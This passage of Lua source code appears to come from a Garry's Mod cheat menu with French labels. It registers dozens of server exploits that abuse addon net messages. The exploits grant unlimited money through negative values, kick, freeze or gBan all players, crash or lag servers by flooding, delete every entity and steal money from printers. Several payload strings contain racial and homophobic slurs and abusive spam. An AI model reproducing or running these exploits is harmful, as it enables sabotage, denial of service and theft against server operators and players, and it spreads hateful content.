6391
6392status = ValidNetString("GMBG:PickupItem")
6393if (status) then
6394CHATPRINT("Exploit Trouvé : Loot Items [GMBG:PickupItem]")
6395addExploit( "130","Loot Items", "", function()
6396surface.PlaySound("garrysmod/ui_click.wav")
6397NOTIFICATION("Starting")
6398for k, v in pairs(ents.GetAll()) do
6399if v:GetClass() == "item_loot" then
6400net.Start("GMBG:PickupItem")
6401net.WriteEntity(v)
6402net.SendToServer()
6403net.Start("GMBG:PickupItem")
6404net.WriteEntity(v)
6405net.SendToServer()
6406net.Start("GMBG:PickupItem")
6407net.WriteEntity(v)
6408net.SendToServer()
6409net.Start("GMBG:PickupItem")
6410net.WriteEntity(v)
6411net.SendToServer()
6412net.Start("GMBG:PickupItem")
6413net.WriteEntity(v)
6414net.SendToServer()
6415net.Start("GMBG:PickupItem")
6416net.WriteEntity(v)
6417net.SendToServer()
6418end
6419end
6420end )
6421end
6422
6423status = ValidNetString("plyWarning")
6424if (status) then
6425CHATPRINT("Exploit Trouvé : Kick Tous Le Monde #3 [plyWarning]")
6426addExploit( "131","Kick Tous Le Monde #3", "Kick Tous Le Monde", function()
6427surface.PlaySound("garrysmod/ui_click.wav")
6428NOTIFICATION("Starting")
6429for k, v in pairs( player.GetAll() ) do
6430net.Start('plyWarning')
6431net.WriteEntity(v)
6432net.WriteString('You have to select a player before doing a action.')
6433net.SendToServer()
6434end
6435end )
6436end
6437
6438status = ValidNetString("NLR.ActionPlayer")
6439if (status) then
6440CHATPRINT("Exploit Trouvé : Freeze Everyone [NLR.ActionPlayer]")
6441addExploit( "132","Freeze Everyone", "", function()
6442surface.PlaySound("garrysmod/ui_click.wav")
6443NOTIFICATION("Starting")
6444for k, v in pairs( player.GetAll() ) do
6445net.Start("NLR.ActionPlayer")
6446net.WriteEntity(v)
6447net.SendToServer()
6448end
6449end )
6450end
6451
6452status = ValidNetString("kart_sell")
6453if (status) then
6454CHATPRINT("Exploit Trouvé : Argent Gratuite #15 [kart_sell]")
6455addExploit( "133","Argent Gratuite #15", "Recevoir De L'Argent", function()
6456surface.PlaySound("garrysmod/ui_click.wav")
6457NOTIFICATION("Starting")
6458for i=1, 300 do
6459net.Start("kart_sell")
6460net.WriteString("sw_gokart")
6461net.SendToServer()
6462end
6463end )
6464end
6465
6466status = ValidNetString("ClickerAddToPoints")
6467if (status) then
6468CHATPRINT("Exploit Trouvé : Free Points [ClickerAddToPoints]")
6469addExploit( "134","Free Points", "", function()
6470surface.PlaySound("garrysmod/ui_click.wav")
6471NOTIFICATION("Starting")
6472net.Start("ClickerAddToPoints")
6473net.WriteInt(99999999, 32)
6474net.SendToServer()
6475end )
6476end
6477
6478status = ValidNetString("bodyman_model_change")
6479if (status) then
6480CHATPRINT("Exploit Trouvé : Body Groups [bodyman_model_change]")
6481addExploit( "135","Body Groups", "constantly changes your appearance", function()
6482surface.PlaySound("garrysmod/ui_click.wav")
6483NOTIFICATION("Starting")
6484local PM = 1
6485local SK = 1
6486local BG = 1
6487local HN = 1
6488local TS = 1
6489local GL = 1
6490local LG = 1
6491if !timer.Exists( "bodygroups" ) then
6492timer.Create("bodygroups", 0, 0, function()
6493PlayerModels = {0,1,2,3,4,5,6}
6494Torso = {0,1,2,3,4,5,6,7,8,9,10}
6495Legs = {0,1,2,3,4,5,6}
6496Hands = {0,1,2}
6497Glasses = {0,1}
6498Skins = {0,1,2,3,4,5,6,7,8,9,10}
6499PM = PM+1
6500TS = TS+1
6501LG = LG+1
6502HN = HN+1
6503GL = GL+1
6504SK = SK+1
6505if (PM>#PlayerModels) then PM=1 end
6506if (SK>#Skins) then SK=1 end
6507if (HN>#Hands) then HN=1 end
6508if (TS>#Torso) then TS=1 end
6509if (GL>#Glasses) then GL=1 end
6510if (LG>#Legs) then LG=1 end
6511net.Start("bodyman_model_change")
6512net.WriteInt(PlayerModels[PM], 10 )
6513net.SendToServer()
6514net.Start("bodygroups_change")
6515net.WriteTable( { 1, Torso[TS] } )
6516net.SendToServer()
6517net.Start("bodygroups_change")
6518net.WriteTable( { 2, Legs[LG] } )
6519net.SendToServer()
6520net.Start("bodygroups_change")
6521net.WriteTable( { 3, Hands[HN] } )
6522net.SendToServer()
6523net.Start("bodygroups_change")
6524net.WriteTable( { 4, Glasses[GL] } )
6525net.SendToServer()
6526end )
6527else
6528timer.Remove("bodygroups")
6529NOTIFICATION("Stopping")
6530end
6531end )
6532end
6533
6534status = ValidNetString("bodyman_model_change_maxrp_57463741")
6535if (status) then
6536CHATPRINT("[88.2] Exploit Trouvé : Body Groups MAXRP [bodyman_model_change_maxrp_57463741]")
6537addExploit( "5505","Body Groups MAXRP", "constantly changes your appearance", function()
6538surface.PlaySound("garrysmod/ui_click.wav")
6539NOTIFICATION("Starting")
6540local PM = 1
6541local SK = 1
6542local BG = 1
6543local HN = 1
6544local TS = 1
6545local GL = 1
6546local LG = 1
6547if !timer.Exists( "bodygroups" ) then
6548timer.Create("bodygroups", 0, 0, function()
6549PlayerModels = {0,1,2,3,4,5,6}
6550Torso = {0,1,2,3,4,5,6,7,8,9,10}
6551Legs = {0,1,2,3,4,5,6}
6552Hands = {0,1,2}
6553Glasses = {0,1}
6554Skins = {0,1,2,3,4,5,6,7,8,9,10}
6555PM = PM+1
6556TS = TS+1
6557LG = LG+1
6558HN = HN+1
6559GL = GL+1
6560SK = SK+1
6561if (PM>#PlayerModels) then PM=1 end
6562if (SK>#Skins) then SK=1 end
6563if (HN>#Hands) then HN=1 end
6564if (TS>#Torso) then TS=1 end
6565if (GL>#Glasses) then GL=1 end
6566if (LG>#Legs) then LG=1 end
6567net.Start("bodygroups_change_maxrp_57457451")
6568net.WriteInt(PlayerModels[PM], 10 )
6569net.SendToServer()
6570net.Start("bodygroups_change_maxrp_57457451")
6571net.WriteTable( { 1, Torso[TS] } )
6572net.SendToServer()
6573net.Start("bodygroups_change_maxrp_57457451")
6574net.WriteTable( { 2, Legs[LG] } )
6575net.SendToServer()
6576net.Start("bodygroups_change_maxrp_57457451")
6577net.WriteTable( { 3, Hands[HN] } )
6578net.SendToServer()
6579net.Start("bodygroups_change_maxrp_57457451")
6580net.WriteTable( { 4, Glasses[GL] } )
6581net.SendToServer()
6582end )
6583else
6584timer.Remove("bodygroups")
6585NOTIFICATION("Stopping")
6586end
6587end )
6588end
6589
6590status = ValidNetString("SendMoney")
6591if (status) then
6592CHATPRINT("Exploit Trouvé : Argent Gratuite #16 [SendMoney]")
6593addExploit( "136","Argent Gratuite #16", "Recevoir De L'Argent", function()
6594surface.PlaySound("garrysmod/ui_click.wav")
6595NOTIFICATION("Starting")
6596hook.Remove( "HUDPaint", "skhdsakjl")
6597net.Start("SendMoney")
6598net.WriteEntity(LocalPlayer())
6599net.WriteEntity(LocalPlayer())
6600net.WriteEntity(LocalPlayer())
6601net.WriteString("-99999999")
6602net.SendToServer()
6603end )
6604end
6605
6606status = ValidNetString("BailOut")
6607if (status) then
6608CHATPRINT("Exploit Trouvé : Argent Gratuite #17 [BailOut]")
6609addExploit( "137","Argent Gratuite #17", "", function()
6610surface.PlaySound("garrysmod/ui_click.wav")
6611NOTIFICATION("Starting")
6612for k, v in pairs(player.GetAll()) do
6613net.Start("BailOut")
6614net.WriteEntity(LocalPlayer())
6615net.WriteEntity(v)
6616net.WriteFloat(-999999999)
6617net.SendToServer()
6618end
6619end )
6620end
6621
6622status = ValidNetString("hitcomplete")
6623if (status) then
6624CHATPRINT("Exploit Trouvé : Argent Gratuite #18 [hitcomplete]")
6625addExploit( "138","Argent Gratuite #18", "Recevoir De L'Argent", function()
6626surface.PlaySound("garrysmod/ui_click.wav")
6627NOTIFICATION("Starting")
6628net.Start("hitcomplete")
6629net.WriteDouble(99999999)
6630net.SendToServer()
6631end )
6632end
6633----------------------------------------
6634for k,v in pairs(player.GetAll()) do
6635dahater = v
6636end
6637----------------------------------------
6638status = ValidNetString("hhh_request")
6639if (status) then
6640CHATPRINT("Exploit Trouvé : Argent Gratuite #19 [hhh_request]")
6641addExploit( "139","Argent Gratuite #19", "Recevoir De L'Argent", function()
6642surface.PlaySound("garrysmod/ui_click.wav")
6643NOTIFICATION("Starting")
6644local plyhhh = LocalPlayer()
6645if dahater != plyhhh then
6646local hitRequest = {}
6647hitRequest.hitman = plyhhh
6648hitRequest.requester = plyhhh
6649hitRequest.target = dahater
6650hitRequest.reward = -9999999
6651net.Start('hhh_request')
6652net.WriteTable(hitRequest)
6653net.SendToServer()
6654else
6655CHATPRINT("In this version of HHH, you can not use an exploit!")
6656end
6657end )
6658end
6659
6660status = ValidNetString("DaHit")
6661if (status) then
6662CHATPRINT("Exploit Trouvé : Argent Gratuite #20 [DaHit]")
6663addExploit( "140","Argent Gratuite #20", "Recevoir De L'Argent", function()
6664surface.PlaySound("garrysmod/ui_click.wav")
6665NOTIFICATION("Starting")
6666hook.Remove( "HUDPaint", "skhdsakjl")
6667net.Start("DaHit")
6668net.WriteFloat(-99999999)
6669net.WriteEntity(LocalPlayer())
6670net.WriteEntity(LocalPlayer())
6671net.WriteEntity(LocalPlayer())
6672net.SendToServer()
6673end )
6674end
6675
6676status = ValidNetString("textstickers_entdata")
6677if (status) then
6678CHATPRINT("Exploit Trouvé : Crash #2 [textstickers_entdata]")
6679addExploit( "141","Crash #2", "1tap", function()
6680surface.PlaySound("garrysmod/ui_click.wav")
6681NOTIFICATION("Starting")
6682net.Start("textstickers_entdata")
6683net.WriteUInt(0xFFFFFFF, 32)
6684net.SendToServer()
6685end )
6686end
6687
6688status = ValidNetString("gBan.BanBuffer")
6689if (status) then
6690CHATPRINT("Exploit Trouvé : gBan Everyone [gBan.BanBuffer]")
6691addExploit( "142","gBan Everyone", "exploit in the old version of gban", function()
6692surface.PlaySound("garrysmod/ui_click.wav")
6693NOTIFICATION("Starting")
6694for k,v in pairs(player.GetAll()) do
6695if v != LocalPlayer() then
6696net.Start("gBan.BanBuffer")
6697net.WriteBool(true)
6698net.WriteInt(0, 32)
6699net.WriteString("haha owned")
6700net.WriteString(v:SteamID())
6701net.SendToServer()
6702end
6703end
6704end )
6705end
6706
6707status = ValidNetString("ARMORY_RetrieveWeapon")
6708if (status) then
6709CHATPRINT("Exploit Trouvé : Armure Gratuitey #1 [ARMORY_RetrieveWeapon]")
6710addExploit( "143","Armure Gratuitey #1", "get weapon #1", function()
6711surface.PlaySound("garrysmod/ui_click.wav")
6712NOTIFICATION("Starting")
6713net.Start("ARMORY_RetrieveWeapon")
6714net.WriteString("weapon1")
6715net.SendToServer()
6716end )
6717end
6718
6719status = ValidNetString("ARMORY_RetrieveWeapon")
6720if (status) then
6721CHATPRINT("Exploit Trouvé : Armure Gratuitey #2 [ARMORY_RetrieveWeapon]")
6722addExploit( "144","Armure Gratuitey #2", "get weapon #2", function()
6723surface.PlaySound("garrysmod/ui_click.wav")
6724NOTIFICATION("Starting")
6725net.Start("ARMORY_RetrieveWeapon")
6726net.WriteString("weapon2")
6727net.SendToServer()
6728end )
6729end
6730
6731status = ValidNetString("ARMORY_RetrieveWeapon")
6732if (status) then
6733CHATPRINT("Exploit Trouvé : Armure Gratuitey #3 [ARMORY_RetrieveWeapon]")
6734addExploit( "145","Armure Gratuitey #3", "get weapon #3", function()
6735surface.PlaySound("garrysmod/ui_click.wav")
6736NOTIFICATION("Starting")
6737net.Start("ARMORY_RetrieveWeapon")
6738net.WriteString("weapon3")
6739net.SendToServer()
6740end )
6741end
6742
6743status = ValidNetString("TransferReport")
6744if (status) then
6745CHATPRINT("Exploit Trouvé : Report Spammer [TransferReport]")
6746addExploit( "146","Report Spammer", "Report Tout Le Monde players", function()
6747surface.PlaySound("garrysmod/ui_click.wav")
6748NOTIFICATION("Starting")
6749net.Start("TransferReport")
6750net.WriteString(v:SteamID())
6751net.WriteString("CHINKGANG FAGOTS")
6752net.WriteString("DITCH THIS SHITTY SERVER AND BUY 88 TODAY")
6753net.SendToServer()
6754end )
6755end
6756
6757status = ValidNetString("FIRE_CreateFireTruck")
6758if (status) then
6759CHATPRINT("Exploit Trouvé : Create Fire Truck [FIRE_CreateFireTruck]")
6760addExploit( "147","Create Fire Truck", "", function()
6761surface.PlaySound("garrysmod/ui_click.wav")
6762NOTIFICATION("Starting")
6763net.Start("FIRE_CreateFireTruck")
6764net.SendToServer()
6765end )
6766end
6767
6768status = ValidNetString("TFA_Attachment_RequestAll")
6769if (status) then
6770CHATPRINT("Exploit Trouvé : Lagger #20 [TFA_Attachment_RequestAll]")
6771addExploit( "148","Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
6772surface.PlaySound("garrysmod/ui_click.wav")
6773if !timer.Exists( "lagger20" ) then
6774timer.Create("lagger20", 0,0, function()
6775for i = 1, 800 do
6776net.Start("TFA_Attachment_RequestAll",true)
6777net.SendToServer()
6778end
6779end)
6780NOTIFICATION("Starting Lagger")
6781else
6782timer.Remove("lagger20")
6783NOTIFICATION("Stopping Lagger")
6784end
6785end)
6786end
6787
6788status = ValidNetString("FIRE_RemoveFireTruck")
6789if (status) then
6790CHATPRINT("Exploit Trouvé : Remove Fire Truck [FIRE_RemoveFireTruck]")
6791addExploit( "149","Remove Fire Truck", "", function()
6792surface.PlaySound("garrysmod/ui_click.wav")
6793NOTIFICATION("Starting")
6794net.Start("FIRE_RemoveFireTruck")
6795net.SendToServer()
6796end )
6797end
6798
6799status = ValidNetString("gPrinters.sendID")
6800if (status) then
6801CHATPRINT("Exploit Trouvé : Lagger #21 [gPrinters.sendID]")
6802addExploit( "150","Lagger #21", "B1G LAGZ, discovered by Leith", function()
6803surface.PlaySound("garrysmod/ui_click.wav")
6804NOTIFICATION("Starting")
6805if not timer.Exists("lagger21") then
6806timer.Create("lagger21", 0, 0, function()
6807for i = 1, 1000 do
6808net.Start("gPrinters.sendID",true)
6809net.WriteEntity(LocalPlayer())
6810net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
6811net.SendToServer()
6812end
6813end )
6814end
6815end )
6816end
6817
6818status = ValidNetString("requestmoneyforvk") -- RusElite Server
6819if (status) then
6820CHATPRINT("Exploit Trouvé : Free 50k [requestmoneyforvk]")
6821addExploit( "151","Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
6822surface.PlaySound("garrysmod/ui_click.wav")
6823NOTIFICATION("Starting")
6824net.Start("requestmoneyforvk")
6825net.WriteEntity(LocalPlayer())
6826net.SendToServer()
6827end )
6828end
6829
6830status = ValidNetString("vj_testentity_runtextsd")
6831if (status) then
6832CHATPRINT("Exploit Trouvé : VJSay [NEW] [vj_testentity_runtextsd]")
6833addExploit( "152","VJSay [NEW]", "'fix' of the old exploit", function()
6834surface.PlaySound("garrysmod/ui_click.wav")
6835NOTIFICATION("Starting")
6836for k,v in pairs(player.GetAll()) do
6837net.Start("vj_testentity_runtextsd")
6838net.WriteEntity(v)
6839net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
6840net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
6841net.SendToServer()
6842end
6843end )
6844end
6845
6846status = ValidNetString("NET_BailPlayer") -- need to test
6847if (status) then
6848CHATPRINT("Exploit Trouvé : Players Spam [NET_BailPlayer]")
6849addExploit( "153","Players Spam", "", function()
6850surface.PlaySound("garrysmod/ui_click.wav")
6851NOTIFICATION("Starting")
6852for k, v in pairs (player.GetAll()) do
6853net.Start("NET_BailPlayer")
6854net.WriteEntity(v)
6855net.WriteEntity(v)
6856net.SendToServer()
6857end
6858end )
6859end
6860
6861status = ValidNetString("Taxi_Add") -- need to test
6862if (status) then
6863CHATPRINT("Exploit Trouvé : Argent Gratuite #21 [Taxi_Add]")
6864addExploit( "154","Argent Gratuite #21", "maybe not work", function()
6865surface.PlaySound("garrysmod/ui_click.wav")
6866NOTIFICATION("Starting")
6867net.Start("Taxi_Add")
6868net.WriteString("MLG")
6869net.WriteTable({-1333.647461, -1473.931763, -139.968750})
6870net.WriteFloat(-99999999)
6871net.WriteString(Desc)
6872net.SendToServer()
6873end )
6874end
6875
6876status = ValidNetString("BuyCar")
6877if (status) then
6878CHATPRINT("Exploit Trouvé : Argent Gratuite #22 [BuyCar]")
6879addExploit( "155","Argent Gratuite #22", "Recevoir De L'Argent", function()
6880surface.PlaySound("garrysmod/ui_click.wav")
6881NOTIFICATION("Starting")
6882net.Start('BuyCar')
6883net.WriteFloat(-1000000)
6884net.WriteEntity(LocalPlayer())
6885net.WriteString("Gay")
6886net.WriteString("Cock")
6887net.WriteString("Twat")
6888net.SendToServer()
6889end )
6890end
6891
6892status = ValidNetString("rpi_trade_end")
6893if (status) then
6894CHATPRINT("Exploit Trouvé : Test Function [rpi_trade_end]")
6895addExploit( "156","Test Function", "just test", function()
6896surface.PlaySound("garrysmod/ui_click.wav")
6897NOTIFICATION("Starting")
6898local it = 0
6899timer.Create( util.CRC( tostring( CurTime() ) ), 0.5, 0, function()
6900if( it > #player.GetAll() ) then
6901it = 1;
6902else
6903it = it + 1;
6904end
6905net.Start("rpi_trade_end")
6906net.WriteUInt( it, 16 )
6907net.SendToServer()
6908end )
6909end )
6910end
6911
6912status = ValidNetString("ClickerForceSave")
6913if (status) then
6914CHATPRINT("Exploit Trouvé : Melon Crash [ClickerForceSave]")
6915addExploit( "157","Melon Crash", "", function()
6916surface.PlaySound("garrysmod/ui_click.wav")
6917NOTIFICATION("Starting")
6918hook.Add("Think","ps_spam",function()
6919for k, v in pairs (player.GetAll()) do
6920net.Start("ClickerForceSave")
6921net.WriteEntity(ply)
6922net.WriteInt(1, 1)
6923net.SendToServer()
6924end
6925end )
6926end )
6927end
6928
6929status = ValidNetString("SRequest")
6930if (status) then
6931CHATPRINT("Exploit Trouvé : Deagle Grab [SRequest]")
6932addExploit( "158","Deagle Grab", "", function()
6933surface.PlaySound("garrysmod/ui_click.wav")
6934NOTIFICATION("Starting")
6935for k, v in pairs (player.GetAll()) do
6936net.Start("SRequest")
6937net.WriteEntity(v)
6938net.SendToServer()
6939end
6940end )
6941end
6942
6943status = ValidNetString("HealButton")
6944if (status) then
6945CHATPRINT("Exploit Trouvé : PV Gratuit [HealButton]")
6946addExploit( "159","PV Gratuit", "PV Gratuit", function()
6947surface.PlaySound("garrysmod/ui_click.wav")
6948NOTIFICATION("Starting")
6949net.Start("HealButton")
6950net.WriteEntity(LocalPlayer())
6951net.WriteFloat(999999)
6952net.SendToServer()
6953end )
6954end
6955
6956status = ValidNetString("ArmorButton")
6957if (status) then
6958CHATPRINT("Exploit Trouvé : Armure Gratuite [ArmorButton]")
6959addExploit( "160","Armure Gratuite", "Armure Gratuite", function()
6960surface.PlaySound("garrysmod/ui_click.wav")
6961NOTIFICATION("Starting")
6962net.Start("ArmorButton")
6963net.WriteEntity(LocalPlayer())
6964net.WriteFloat(999999)
6965net.SendToServer()
6966end )
6967end
6968
6969status = ValidNetString("SprintSpeedset")
6970if (status) then
6971CHATPRINT("Exploit Trouvé : TTT SpeedHack [SprintSpeedset]")
6972addExploit( "161","TTT SpeedHack", "changes your speed", function()
6973surface.PlaySound("garrysmod/ui_click.wav")
6974NOTIFICATION("Starting")
6975net.Start("SprintSpeedset")
6976net.WriteFloat(math.min(math.max(2, 0.1),2 ))
6977net.SendToServer()
6978end )
6979end
6980
6981status = ValidNetString("GiveArmor100")
6982if (status) then
6983CHATPRINT("Exploit Trouvé : Exploit D'Armure [GiveArmor100]")
6984addExploit( "162","Exploit D'Armure ", "", function()
6985surface.PlaySound("garrysmod/ui_click.wav")
6986NOTIFICATION("Starting")
6987net.Start("GiveArmor100")
6988net.SendToServer()
6989end )
6990end
6991
6992status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
6993if (status) then
6994CHATPRINT("Exploit Trouvé : SCP 294 JAM [DOIT ÊTRE TEST] [GiveSCP294Cup]")
6995SCPLAG = 0
6996addExploit( "163","SCP 249 JAM!", "", function()
6997surface.PlaySound("garrysmod/ui_click.wav")
6998NOTIFICATION("Starting")
6999if (SCPLAG == 0) then
7000SCPLAG = 1
7001timer.Create( "LagThatShit", time, 0.05, function()
7002for k, v in pairs( ents.GetAll() ) do
7003if v:GetClass() == "scp294" then
7004net.Start("GiveSCP294Cup")
7005net.WriteString("shit")
7006net.WriteEntity(v)
7007net.SendToServer()
7008end
7009end
7010end)
7011else
7012SCPLAG = 0
7013timer.Remove("LagThatShit")
7014end
7015end)
7016end
7017
7018status = ValidNetString("Client_To_Server_OpenEditor")
7019if (status) then
7020CHATPRINT("Exploit Trouvé : SCP 249 Hack Menu De Boisson [Client_To_Server_OpenEditor]")
7021addExploit( "164","SCP 249 Drink Menu Hack", "", function()
7022surface.PlaySound("garrysmod/ui_click.wav")
7023NOTIFICATION("Starting")
7024net.Start("Client_To_Server_OpenEditor")
7025net.SendToServer()
7026end )
7027end
7028
7029status = ValidNetString("DuelMessageReturn")
7030if (status) then
7031CHATPRINT("Exploit Trouvé : Combat Fou [DuelMessageReturn]")
7032addExploit( "165","Combat Fou", "forces all players to fight with all players, discovered by Solly", function()
7033surface.PlaySound("garrysmod/ui_click.wav")
7034NOTIFICATION("Starting")
7035timer.Create("crazyduel", 0.1, 0, function()
7036s.duel[1] = table.Random( player.GetAll() )
7037s.duel[2] = table.Random( player.GetAll() )
7038net.Start("DuelMessageReturn")
7039net.WriteFloat(1)
7040net.WriteTable(s.duel)
7041net.SendToServer()
7042end )
7043end )
7044end
7045
7046status = ValidNetString("userAcceptPrestige")
7047if (status) then
7048CHATPRINT("Exploit Trouvé : Prestige Gratuit [userAcceptPrestige]")
7049addExploit( "166","Prestige Gratuit", "exploit for Prestige Gratuit", function()
7050surface.PlaySound("garrysmod/ui_click.wav")
7051NOTIFICATION("Starting")
7052net.Start("userAcceptPrestige")
7053net.SendToServer()
7054end )
7055end
7056
7057status = ValidNetString("wordenns")
7058if (status) then
7059CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #11 [wordenns]")
7060addExploit( "167","Voler L'argents De Tous #11", "withdraw money from all printers", function()
7061surface.PlaySound("garrysmod/ui_click.wav")
7062NOTIFICATION("Starting")
7063CHATPRINT("printers:".. tostring(#ents.FindByClass("derma_printer")))
7064for k,v in pairs(ents.FindByClass("derma_printer")) do
7065net.Start("wordenns")
7066net.WriteEntity(v)
7067net.SendToServer()
7068end
7069end)
7070end
7071
7072status = ValidNetString("guncraft_removeWorkbench")
7073if (status) then
7074CHATPRINT("Exploit Trouvé : Supprimer Toutes Les Entités [guncraft_removeWorkbench]")
7075addExploit( "168","Supprimer Toutes Les Entités", "an exploit in addon 'GunCraft'", function()
7076surface.PlaySound("garrysmod/ui_click.wav")
7077NOTIFICATION("Starting")
7078if !timer.Exists( "removentity" ) then
7079timer.Create("removentity", 3, 0, function()
7080for k,v in pairs(ents.GetAll()) do
7081net.Start("guncraft_removeWorkbench")
7082net.WriteEntity(v)
7083net.SendToServer()
7084end
7085end )
7086end
7087end )
7088end
7089
7090status = ValidNetString("BuyKey")
7091if (status) then
7092CHATPRINT("Exploit Trouvé : Blue Unbox Exploit [NEED TO TEST]")
7093addExploit( "169","Blue Unbox Exploit", "", function()
7094surface.PlaySound("garrysmod/ui_click.wav")
7095NOTIFICATION("Starting")
7096net.Start("BuyKey")
7097net.SendToServer()
7098net.Start("BuyCrate")
7099net.SendToServer()
7100end )
7101end
7102
7103status = ValidNetString("casinokit_chipexchange")
7104if (status) then
7105CHATPRINT("Exploit Trouvé : Argent Gratuite #23 [casinokit_chipexchange]")
7106addExploit( "170","Argent Gratuite #23", "only works if outdated", function()
7107surface.PlaySound("garrysmod/ui_click.wav")
7108NOTIFICATION("Starting")
7109local moneylog = LocalPlayer():getDarkRPVar("money")
7110net.Start("casinokit_chipexchange")
7111net.WriteEntity(self)
7112net.WriteString("darkrp")
7113net.WriteBool(true)
7114net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
7115net.SendToServer()
7116timer.Simple(3, function()
7117for i=1, 5000 do
7118net.Start("casinokit_chipexchange")
7119net.WriteEntity(self)
7120net.WriteString("darkrp")
7121net.WriteBool(false)
7122net.WriteUInt(moneylog*0.10,32)
7123net.SendToServer()
7124end
7125end)
7126end )
7127end
7128
7129status = ValidNetString("PurchaseWeed")
7130if (status) then
7131CHATPRINT("Exploit Trouvé : Achetez Drogue [PurchaseWeed]")
7132addExploit( "171","Achetez Drogue", "", function()
7133surface.PlaySound("garrysmod/ui_click.wav")
7134NOTIFICATION("Starting")
7135net.Start("PurchaseWeed")
7136net.WriteInt(tonumber(10000),16)
7137net.WriteInt(tonumber(1),16)
7138net.WriteBool(LocalPlayer().Buying)
7139net.SendToServer()
7140end )
7141end
7142
7143status = ValidNetString("PurchaseWeed")
7144if (status) then
7145CHATPRINT("Exploit Trouvé : Sell Weed [PurchaseWeed]")
7146addExploit( "172","Sell Weed", "", function()
7147surface.PlaySound("garrysmod/ui_click.wav")
7148NOTIFICATION("Starting")
7149net.Start("PurchaseWeed")
7150net.WriteInt(tonumber(100),16)
7151net.WriteInt(tonumber(100),16)
7152net.WriteBool(LocalPlayer().Selling)
7153net.SendToServer()
7154end )
7155end
7156
7157status = ValidNetString("DoDealerDeliver")
7158if (status) then
7159CHATPRINT("Exploit Trouvé : Buy Tab [DoDealerDeliver]")
7160addExploit( "173","Buy Tab", "", function()
7161surface.PlaySound("garrysmod/ui_click.wav")
7162NOTIFICATION("Starting")
7163if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
7164net.Start("DoDealerDeliver")
7165net.WriteBool(false)
7166net.SendToServer()
7167end
7168end )
7169end
7170
7171status = ValidNetString("DoDealerDeliver")
7172if (status) then
7173CHATPRINT("Exploit Trouvé : Buy Bong [DoDealerDeliver]")
7174addExploit( "174","Buy Bong", "", function()
7175surface.PlaySound("garrysmod/ui_click.wav")
7176NOTIFICATION("Starting")
7177if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price) then
7178net.Start("DoDealerDeliver")
7179net.WriteBool(true)
7180net.SendToServer()
7181end
7182end )
7183end
7184
7185status = ValidNetString("sendDuelInfo")
7186if (status) then
7187CHATPRINT("Exploit Trouvé : Duel NPC Exploit [sendDuelInfo]")
7188addExploit( "175","Duel NPC Exploit", "", function()
7189surface.PlaySound("garrysmod/ui_click.wav")
7190NOTIFICATION("Starting")
7191net.Start("sendDuelInfo")
7192net.WriteString(table.Random(player.GetAll()):Nick())
7193net.WriteString("xxdddd")
7194net.WriteString("1e+100")
7195net.WriteEntity(table.random(player.GetAll()):UserID())
7196net.WriteInt(3,3)
7197net.SendToServer()
7198end )
7199end
7200
7201status = ValidNetString("InviteMember")
7202if (status) then
7203CHATPRINT("Exploit Trouvé : Invite all players [InviteMember]")
7204addExploit( "176","Invite all players", "Invite all players to your org", function()
7205surface.PlaySound("garrysmod/ui_click.wav")
7206NOTIFICATION("Starting")
7207for k,v in pairs(player.GetAll()) do
7208net.Start("InviteMember")
7209net.WriteEntity(v)
7210net.WriteEntity(v)
7211net.WriteString("lol what")
7212net.SendToServer()
7213end
7214end )
7215end
7216
7217status = ValidNetString("newTerritory")
7218if (status) then
7219CHATPRINT("Exploit Trouvé : New Territory [newTerritory]")
7220addExploit( "177","New Territory", "", function()
7221surface.PlaySound("garrysmod/ui_click.wav")
7222NOTIFICATION("Starting")
7223for k,v in pairs(player.GetAll()) do
7224net.Start("newTerritory")
7225net.WriteString("Hackers")
7226net.WriteTable(t)
7227net.SendToServer()
7228end
7229end )
7230end
7231
7232status = ValidNetString("CreateOrganization")
7233if (status) then
7234CHATPRINT("Exploit Trouvé : Org Exploit [CreateOrganization]")
7235addExploit( "178","Org Exploit", "", function()
7236surface.PlaySound("garrysmod/ui_click.wav")
7237NOTIFICATION("Starting")
7238for k,v in pairs(player.GetAll()) do
7239net.Start("CreateOrganization")
7240net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7241net.WriteString( "Join my gang or will rekt u" )
7242net.SendToServer()
7243end
7244end )
7245end
7246
7247status = ValidNetString("DisbandOrganization")
7248if (status) then
7249CHATPRINT("Exploit Trouvé : Org Disband [DisbandOrganization]")
7250addExploit( "179","Org Disband", "", function()
7251surface.PlaySound("garrysmod/ui_click.wav")
7252NOTIFICATION("Starting")
7253net.Start("DisbandOrganization")
7254net.WriteEntity(LocalPlayer())
7255net.SendToServer()
7256end )
7257end
7258
7259status = ValidNetString("ChangeOrgName")
7260if (status) then
7261CHATPRINT("Exploit Trouvé : Org Change Name [ChangeOrgName]")
7262addExploit( "180","Org Change Name", "", function()
7263surface.PlaySound("garrysmod/ui_click.wav")
7264NOTIFICATION("Starting")
7265net.Start("ChangeOrgName")
7266net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
7267net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
7268net.WriteEntity(LocalPlayer())
7269net.SendToServer()
7270end )
7271end
7272
7273status = ValidNetString("IS_SubmitSID_C2S")
7274if (status) then
7275CHATPRINT("Exploit Trouvé : Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
7276addExploit( "181","Free Reward", "", function()
7277surface.PlaySound("garrysmod/ui_click.wav")
7278NOTIFICATION("Starting")
7279net.Start("IS_SubmitSID_C2S")
7280net.WriteString("Killa")
7281net.SendToServer()
7282net.Start("IS_GetReward_C2S")
7283net.SendToServer()
7284end )
7285end
7286
7287status = ValidNetString("AcceptBailOffer")
7288if (status) then
7289CHATPRINT("Exploit Trouvé : Bail Offer Exploit [AcceptBailOffer]")
7290addExploit( "182","Bail Offer Exploit", "", function()
7291surface.PlaySound("garrysmod/ui_click.wav")
7292NOTIFICATION("Starting")
